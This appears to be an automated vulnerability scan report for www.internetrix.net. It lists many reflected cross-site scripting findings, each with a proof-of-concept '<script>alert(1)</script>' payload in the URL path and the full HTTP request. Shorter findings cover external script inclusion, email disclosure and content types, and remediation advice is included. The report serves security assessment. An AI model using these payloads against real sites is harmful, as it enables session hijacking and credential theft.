Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be0c7"><script>alert(1)</script>c3045ca88cd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /actionbe0c7"><script>alert(1)</script>c3045ca88cd/event_signup/1066 HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/events/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.6.10.1302308294; fontsize=100
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac5e2"><script>alert(1)</script>d100cc1e7c7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /captchaac5e2"><script>alert(1)</script>d100cc1e7c7/77ebd8dc1911e2a888fa4585da1fe3e3.png HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0e37"><script>alert(1)</script>9a58bced905 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /captcha/77ebd8dc1911e2a888fa4585da1fe3e3.pngd0e37"><script>alert(1)</script>9a58bced905 HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fdfd"><script>alert(1)</script>22f25afd9d1e57476 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 528f3"><script>alert(1)</script>476275b45cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico528f3"><script>alert(1)</script>476275b45cb HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.1.10.1302308294; fontsize=100
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe4e5"><script>alert(1)</script>b4521d281d6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /flashfe4e5"><script>alert(1)</script>b4521d281d6/video.swf HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmb=173809275.0.10.1302308294; __utmc=173809275; __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d5b6"><script>alert(1)</script>e5d06c4b308 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /flash/video.swf5d5b6"><script>alert(1)</script>e5d06c4b308 HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmb=173809275.0.10.1302308294; __utmc=173809275; __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9af0"><script>alert(1)</script>2c6e5ad129d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /freestylec9af0"><script>alert(1)</script>2c6e5ad129d/optimizer HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0633"><script>alert(1)</script>c221bb42d42 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /freestyle/optimizerf0633"><script>alert(1)</script>c221bb42d42 HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1c3f"><script>alert(1)</script>c379c8587fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /general.cssa1c3f"><script>alert(1)</script>c379c8587fa HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/accreditations/dbcde-panel-member/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.4.10.1302308294; fontsize=100
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a124a"><script>alert(1)</script>ef5e119e82d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /optimizer.htmla124a"><script>alert(1)</script>ef5e119e82d HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26036"><script>alert(1)</script>e39a76957d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page26036"><script>alert(1)</script>e39a76957d8/accreditations/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/contact-us/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmb=173809275.2.10.1302308294; __utmc=173809275
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b35d5"><script>alert(1)</script>635a3313a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pageb35d5"><script>alert(1)</script>635a3313a6/accreditations/dbcde-panel-member/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/accreditations/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.4.10.1302308294; fontsize=100
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4291"><script>alert(1)</script>bf8317b02a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pagec4291"><script>alert(1)</script>bf8317b02a5/articles/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/contact-us/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmb=173809275.2.10.1302308294; __utmc=173809275
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bac3a"><script>alert(1)</script>4ec4125112c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pagebac3a"><script>alert(1)</script>4ec4125112c/articles/latest-news/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/articles/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.8.10.1302308294; fontsize=100
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3db9e"><script>alert(1)</script>e472d9060e6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page3db9e"><script>alert(1)</script>e472d9060e6/articles/newsletters/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/articles/latest-news/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.9.10.1302308294
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3392"><script>alert(1)</script>03fc8cb16ef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pagec3392"><script>alert(1)</script>03fc8cb16ef/contact-us/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.htmla124a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef5e119e82d User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.2.10.1302308294
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29490"><script>alert(1)</script>5d04903db96 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page29490"><script>alert(1)</script>5d04903db96/contact-us/jobs-at-internetrix/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/contact-us/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmb=173809275.2.10.1302308294; __utmc=173809275
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44922"><script>alert(1)</script>5a4c4169ffa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page44922"><script>alert(1)</script>5a4c4169ffa/events/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/contact-us/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmb=173809275.2.10.1302308294; __utmc=173809275
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4474e"><script>alert(1)</script>dae382dfee4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /page4474e"><script>alert(1)</script>dae382dfee4/products/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/page/articles/latest-news/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.9.10.1302308294
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /page/contact-us/ HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.htmla124a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef5e119e82d User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=173809275.1302308294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fontsize=100; __utma=173809275.1985559550.1302308294.1302308294.1302308294.1; __utmc=173809275; __utmb=173809275.2.10.1302308294
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
sammi@oriontransfer.co.nz
Request
GET /js/script.aculo.us/dragdrop.js HTTP/1.1 Host: www.internetrix.net Proxy-Connection: keep-alive Referer: http://www.internetrix.net/optimizer.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 09 Apr 2011 00:18:17 GMT Server: Apache/2.0.52 (Red Hat) Last-Modified: Tue, 20 Nov 2007 00:47:32 GMT Accept-Ranges: bytes Content-Length: 29617 Connection: close Content-Type: application/x-javascript
// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) // (c) 2005 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) // // See scriptaculous.js for full license.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.